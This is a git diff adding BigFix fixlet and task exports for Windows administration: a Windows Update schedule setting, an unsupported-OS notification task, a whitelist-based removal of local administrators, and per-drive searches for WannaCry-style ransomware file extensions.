+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;ScheduledInstallDay&quot;=dword:00000000
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU]&quot; &quot;ScheduledInstallTime&quot;=dword:00000002</ActionScript>
+    </DefaultAction>
+    <Action ID="Action248">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about this fixlet.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri"><![CDATA[http://www.ibm.com/developerworks/forums/thread.jspa?messageID=14780787&tstart=0#14780787]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/End of Support - Unsupported Windows OS (25452).bes b/Sites/Windows Management/Fixlets/Fixlets/End of Support - Unsupported Windows OS (25452).bes
new file mode 100644
index 000000000..8c2a90528
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/End of Support - Unsupported Windows OS (25452).bes	
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : End of Support - Unsupported Windows OS
+  ID       : 25452
+  Author   : rdshift
+  Domain   : BESC
+  Imported : 2018-04-13T08:19:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>End of Support - Unsupported Windows OS</Title>
+    <Description><![CDATA[<P>This task is designed to notify the users of any workstations with unsupported Operating Systems.&nbsp; The "continue if" line is designed to prevent repeat execution more than once per day, but you can change that time if that is your preference.</P>
+<P><STRONG><U>Please be sure to set "Users" tab to "Run when at least one of the selected users is logged on, and only display the user interface to those users" and "Local users"</U></STRONG></P>
+<P>Windows&nbsp;Lifecycle Fact Sheet: <A href="https://support.microsoft.com/en-us/help/13853/windows-lifecycle-fact-sheet">https://support.microsoft.com/en-us/help/13853/windows-lifecycle-fact-sheet</A>, Some additional server dates excluding 2016: <A href="https://support.microsoft.com/en-us/lifecycle/search/1163">https://support.microsoft.com/en-us/lifecycle/search/1163</A></P>
+<P><A href="https://docs.google.com/spreadsheets/d/1YfC_L_O1M5GM_msyZHZI_GETogTJ3M0DOW2wPOcoobA/edit?usp=sharing">Google Docs: Reference and Relevance Worksheet</A></P>
+<P>Windows 2000, XP, Vista - All support has ended</P>
+<P>Windows Server 2008 - Standard is EOS, SP2 and R2 SP1 extended support ends Tue January 14 2020</P>
+<P>Windows 7 - Mainstream support ended, service pack 1 extended support ends Tue January 14 2020</P>
+<P>Windows 8 - Mainstream support ended, 8.1 requires Update 1 (KB2919355) for support, 8.1 Update 1 extended support ends Tue January 10 2023</P>
+<P>Windows 10 - Mainstream (1507, 1511) support ended.&nbsp; 1607 end of support on&nbsp;Tue April 10 2018.&nbsp;&nbsp;1703 end of support on&nbsp;Tue&nbsp;Oct&nbsp;9 2018.&nbsp; 1709 end of support on&nbsp;Tue&nbsp;April&nbsp;9 2019.</P>
+<P>NOTE: <FONT size=2>value </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"ReleaseID"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> key </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> native registry may be a better way of retrieving OS version numbers.&nbsp; Revised to this method.&nbsp; LTSB completely excluded at this time.&nbsp; </FONT><FONT size=2>Enterprise and Educational is included with their 6 month extensions set to the 6 month later Patch Tuesday.</FONT></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry then (NOT (value &quot;Productname&quot; of it as string as lowercase contains &quot;ltsb&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry) else true</Relevance>
+    <Relevance><![CDATA[(version of operating system < "6.1.7601" /* All Windows before Windows 7 SP1 */ AND NOT (name of it contains "Win2008") of operating system /* Exclude Server 2008 & R2 */) OR (if (name of it contains "Win2008" /* Server 2008 variants */) of operating system then (((((name of it = "Win2008R2" AND service pack major version of it = 1) OR (name of it = "Win2008" AND service pack major version of it = 2)) AND (date (local time zone) of (now)) > date ("Tue, Jan 14 2020") /* Server 2008 SP2 & R2 SP1 EOS */) of operating system) OR ((name of it does not contain "R2" AND service pack major version of it < 1) of operating system)) else false) OR (if (date (local time zone) of (now)) > date ("Tue, 14 Jan 2020") then (version of operating system = "6.1" AND (name of it contains "Win7") of operating system) else false /* Windows 7 EOS */) OR ((name of it = "Win8") of operating system and (version of operating system > "6.3.9600") /* Windows 8.0 */) OR (if ((name of it = "Win2012R2" OR name of it = "Win8.1") of operating system) then (not exists key ("Package_for_KB2919355~31bf3856ad364e35~amd64~~6.3.1.14"; "Package_for_KB2919355~31bf3856ad364e35~x86~~6.3.1.14") whose (112 = value "CurrentState" of it as integer) of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages" of native registry /* Check for mandatory Win 8.1 & Server 2012 Update 2919355 (aka Update 1) */) else if ((name of it = "Win8.1") of operating system AND (date (local time zone) of (now)) > date ("Tue, Jan 10 2023")/* Windows 8.1 EOS */) then true else false) OR (if (NOT ((name of it = "Win2016" /* Exclude Server 2016 */) of operating system) and (name of it = "Win10") of operating system) then (((if (date (local time zone) of (now)) > date ("Tue, 9 Apr 2019") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1709" /* Windows 10 Version 1709 or lower after EOS date */) else if (date (local time zone) of (now)) > date ("Tue, 9 Oct 2018") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1703" /* Windows 10 Version 1703 or lower after EOS date */) else if (date (local time zone) of (now)) > date ("Tue, 10 Apr 2018") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1607" /* Windows 10 Version 1607 or lower after EOS date */) else ((value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <="1511" /* Windows 10 Version 1511 or lower */) OR ((value "CurrentBuild" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry) as string as version <= "15240"))) OR (if (((value "EditionID" of it as string as lowercase contains "educat") of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry) OR ((value "EditionID" of it as string as lowercase contains "enterp") of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry)) then ((if (NOT ((name of it = "Win2016" /* Exclude Server 2016 */) of operating system) and (name of it = "Win10") of operating system) then ((if (date (local time zone) of (now)) > date ("Tue, 8 Oct 2019") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1709" /* Windows 10 Version 1709 Edu/Ent or lower after EOS date */) else if (date (local time zone) of (now)) > date ("Tue, 9 Apr 2019") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1703" /* Windows 10 Version 1703 Edu/Ent or lower after EOS date */) else if (date (local time zone) of (now)) > date ("Tue, 9 Oct 2018") then (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <= "1607" /* Windows 10 Version 1607 Edu/Ent or lower after EOS date */) else (value "ReleaseID" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of native registry as string <="1511" /* Windows 10 Version 1511 or lower */)) AND (NOT (name of it contains "2016") of operating system) /* Exclude Server 2016 */) else false)) else false)) AND (NOT (name of it contains "2016") of operating system) /* Exclude Server 2016 */) else false)]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-12-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 13 Apr 2018 15:09:33 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.&amp;nbsp; Please be sure to set user messages and user mode.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// No action; all prompts should be in messages.
+continue if {(not exists last active time of it or (now - last active time of it) > (1 * day)) of action}]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Enforce Admin Users Compliance (25547).bes b/Sites/Windows Management/Fixlets/Fixlets/Enforce Admin Users Compliance (25547).bes
new file mode 100644
index 000000000..5327fea2f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Enforce Admin Users Compliance (25547).bes	
@@ -0,0 +1,159 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Enforce Admin Users Compliance
+  ID       : 25547
+  Author   : mxc0bbn
+  Domain   : BESC
+  Imported : 2018-09-17T21:35:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Enforce Admin Users Compliance</Title>
+    <Description><![CDATA[<P><FONT size=3 face=Arial>This Fixlet removes users from the local "Administrators" group on a computer if they are not listed in a whitelist file deployed using the task:<BR></FONT><FONT size=3 face=Arial><STRONG>"Deploy ComplianceWhitelist File"</STRONG></FONT></P>
+<P><FONT size=3 face=Arial></FONT>&nbsp;</P>
+<P><FONT size=3><FONT face=Arial><STRONG><U>Action 1:<BR></U></STRONG></FONT><FONT face=Arial>Compares&nbsp;users who are&nbsp;Members of the local Administrators group&nbsp;on a computer with a "Compliant Admins" Whitelist file that exists on the&nbsp;client.&nbsp; It then&nbsp;instructs the endpoint to remove any users that are NOT on the&nbsp;Compliance White List from the Local Administrators group.</FONT></FONT></P>
+<P><FONT size=3><STRONG><U>Action 2:<BR></U></STRONG>Prompts for a User ID that is then removed from the local "Administrators" group of the target endpoint.</FONT></P>
+<P><FONT size=3>&nbsp;</FONT></P>
+<P><FONT size=3><FONT color=#ff0000><STRONG>Note:<BR></STRONG></FONT><FONT color=#ff0000><STRONG>1.&nbsp; Before running this task you must create the file "ComplianceWhitelist.txt" on the BES Server in the following directory: </STRONG></FONT></FONT><FONT color=#ff0000 size=3><STRONG>"&lt;BES Server&gt;\wwwrootbes\CustomDownloads\ComplianceWhitelist"<BR>2.&nbsp; The Task "Deploy ComplianceWhitelist File" must be run before this Fixlet will work properly.</STRONG></FONT></P>]]></Description>
+    <Relevance>true</Relevance>
+    <Category>Utility-Manage Windows Admins</Category>
+    <Source>Mike Consuegra</Source>
+    <SourceReleaseDate>2018-09-07</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 18 Sep 2018 04:10:15 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Remove</Link>
+        <PostLink>&amp;nbsp;Users based on a pre-defined whitelist</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[///////////////////////////////////
+// TO SET DIFFERENT FILE NAMES AND
+// LOCATIONS CHANGE THE FOLLOWING
+// PARAMETER VALUES
+///////////////////////////////////
+
+parameter "primarywhitelist" = "{(parent folder of regapp "BESClient.exe" as string) & "\ComplianceWhitelist\ComplianceWhitelist.txt"}"
+parameter "backupwhitelist" = "{(((data folder of client) as string) & "\__Global\__Download\actionsite\_listbackup.txt")}"
+parameter "blacklist" = "{(parent folder of regapp "BESClient.exe" as string) & "\ComplianceWhitelist\blacklist.txt"}"
+
+// -END- PARAMETER DECLARATIONS
+
+
+
+// Verify that the whitelist file folder exists in the client directory
+if "{exists folder (parent folder of regapp "BESClient.exe" as string & "\ComplianceWhitelist")}"
+
+	// Delete any old version of the blacklist file
+	delete "{parameter "blacklist"}"
+
+	// Verify that the whitelist file in the ComplianceWhitelist folder exists
+	if {exists file (parameter "primarywhitelist")}
+
+		// Verify that the whitelist file has not been modified by the user
+		// If the hash of the file in the Client folder is the same as the backup file then remove the out-of-compliance admins.
+		// If the file hashes are different (the ELSE condition), copy the backup file to the client folder and remove the out-of-compliance admins.
+
+		if {sha1 of file (parameter "backupwhitelist") = sha1 of file (parameter "primarywhitelist")}
+
+			// Create the list of users that should NOT be in the Administrators Local Group (blacklist.txt)
+			createfile until EOF
+			{concatenation "%0d%0a" of (elements of (set of ((following texts of firsts "\" of unique values of ((members of local group "Administrators") as string) as lowercase)) - set of (unique values of (lines of file (parameter "primarywhitelist")))))}
+			EOF
+
+			move __createfile "{(parameter "blacklist")}"
+
+			// Wait until the blacklist.txt is created
+			pause while {not exists file (parameter "blacklist")}
+
+			// Delete any users that are not supposed to be in the admin group
+			dos for /F "usebackq tokens=*" %A in ("{(parameter "blacklist")}") do net localgroup administrators "%A" /delete
+
+		else
+			delete "{parameter "primarywhitelist"}"
+
+			dos copy /Y "{parameter "backupwhitelist"}" "{parameter "primarywhitelist"}"
+
+			// Create the list of users that should NOT be in the Administrators Local Group (blacklist.txt)
+			createfile until EOF
+			{concatenation "%0d%0a" of (elements of (set of ((following texts of firsts "\" of unique values of ((members of local group "Administrators") as string) as lowercase)) - set of (unique values of (lines of file (parameter "primarywhitelist")))))}
+			EOF
+
+			move __createfile "{(parameter "blacklist")}"
+
+			// Wait until the blacklist.txt is created
+			pause while {not exists file (parameter "blacklist")}
+
+			// Remove unauthorized users from Admin group
+			dos for /F "usebackq tokens=*" %A in ("{(parameter "blacklist")}") do net localgroup administrators "%A" /delete
+
+		endif
+
+	else
+
+		dos copy /Y "{parameter "backupwhitelist"}" "{parameter "primarywhitelist"}"
+
+		// Create the list of users that should NOT be in the Administrators Local Group (blacklist.txt)
+		createfile until EOF
+		{concatenation "%0d%0a" of (elements of (set of ((following texts of firsts "\" of unique values of ((members of local group "Administrators") as string) as lowercase)) - set of (unique values of (lines of file (parameter "primarywhitelist")))))}
+		EOF
+
+		move __createfile "{(parameter "blacklist")}"
+
+
+		// Wait until the blacklist.txt is created
+		pause while {not exists file (parameter "blacklist")}
+
+		// Remove unauthorized users from Admin group
+		dos for /F "usebackq tokens=*" %A in ("{(parameter "blacklist")}") do net localgroup administrators "%A" /delete
+
+	endif
+
+
+else
+
+	// Create the ComplianceWhitelist folder in the client directory and copy the ComplianceWhitelist file from the backup file created by the "Deploy ComplianceWhitelist" task
+	dos mkdir "{(parent folder of regapp "BESClient.exe" as string) & "\ComplianceWhitelist"}"
+
+	dos copy /Y "{parameter "backupwhitelist"}" "{parameter "primarywhitelist"}"
+
+	// Delete any old version of the blacklist file
+	delete "{parameter "blacklist"}"
+
+	// Create the list of users that should NOT be in the Administrators Local Group (blacklist.txt)
+	createfile until EOF
+	{concatenation "%0d%0a" of (elements of (set of ((following texts of firsts "\" of unique values of ((members of local group "Administrators") as string) as lowercase)) - set of (unique values of (lines of file (parameter "primarywhitelist")))))}
+	EOF
+
+	move __createfile "{(parameter "blacklist")}"
+
+	// Wait until the blacklist.txt is created
+	pause while {not exists file (parameter "blacklist")}
+
+	// Remove unauthorized users from Admin group
+	dos for /F "usebackq tokens=*" %A in ("{(parameter "blacklist")}") do net localgroup administrators "%A" /delete
+
+endif]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action26828">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Remove</Link>
+        <PostLink>&amp;nbsp;the specified User</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Prompt the user for an ID to delete from the Administrators group of every targetted computer
+action parameter query &quot;UserID&quot; with description &quot;Enter the User ID to remove from the local Administrators group of targetted endpoints:&quot;
+
+
+// Remove each user in the &apos;blacklist.txt&apos; file from the Local Admin Group
+dos net localgroup administrators &quot;{parameter &quot;UserID&quot; of action}&quot; /delete</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on C Drive (24331).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on C Drive (24331).bes
new file mode 100644
index 000000000..e7591cd72
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on C Drive (24331).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on C Drive
+  ID       : 24331
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on C Drive</Title>
+    <Description>Find files with specified extension on C drive. </Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;c:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:38:53 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist c:\ransomware_list.txt del c:\ransomware_list.txt /q /f
+waithidden cmd /c dir c:\*.wn c:\*.wcry /a /s >c:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on D Drive (24332).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on D Drive (24332).bes
new file mode 100644
index 000000000..3235efb4a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on D Drive (24332).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on D Drive
+  ID       : 24332
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:43
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on D Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;D drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;d:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:39:06 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist d:\ransomware_list.txt del d:\ransomware_list.txt /q /f
+waithidden cmd /c dir d:\*.wn d:\*.wcry /a /s >d:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on E Drive (24333).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on E Drive (24333).bes
new file mode 100644
index 000000000..f6f145d21
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on E Drive (24333).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on E Drive
+  ID       : 24333
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on E Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;E drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;e:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:39:33 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist e:\ransomware_list.txt del e:\ransomware_list.txt /q /f
+waithidden cmd /c dir e:\*.wn e:\*.wcry /a /s >e:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on F Drive (24334).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on F Drive (24334).bes
new file mode 100644
index 000000000..f8efb23b6
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on F Drive (24334).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on F Drive
+  ID       : 24334
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on F Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;F drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;f:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:38:40 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist f:\ransomware_list.txt del f:\ransomware_list.txt /q /f
+waithidden cmd /c dir f:\*.wn f:\*.wcry /a /s >f:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on G Drive (24336).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on G Drive (24336).bes
new file mode 100644
index 000000000..6dbaca1b3
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on G Drive (24336).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on G Drive
+  ID       : 24336
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on G Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;G drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;g:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:40:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist g:\ransomware_list.txt del g:\ransomware_list.txt /q /f
+waithidden cmd /c dir g:\*.wn g:\*.wcry /a /s >g:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on H Drive (24337).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on H Drive (24337).bes
new file mode 100644
index 000000000..1a2c26a26
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on H Drive (24337).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on H Drive
+  ID       : 24337
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on H Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;H drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;h:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:40:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist h:\ransomware_list.txt del h:\ransomware_list.txt /q /f
+waithidden cmd /c dir h:\*.wn h:\*.wcry /a /s >h:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on I Drive (24338).bes b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on I Drive (24338).bes
new file mode 100644
index 000000000..4dd95a7ad
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Find Ransomware Files on I Drive (24338).bes	
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Find Ransomware Files on I Drive
+  ID       : 24338
+  Author   : cjwolford
+  Domain   : BESC
+  Imported : 2017-05-15T19:56:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Find Ransomware Files on I Drive</Title>
+    <Description><![CDATA[Find files with specified extension on&nbsp;I drive. ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists folder &quot;i:\&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 16 May 2017 02:40:52 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[waithidden cmd /c if exist i:\ransomware_list.txt del i:\ransomware_list.txt /q /f
+waithidden cmd /c dir i:\*.wn i:\*.wcry /a /s >i:\ransomware_list.txt]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
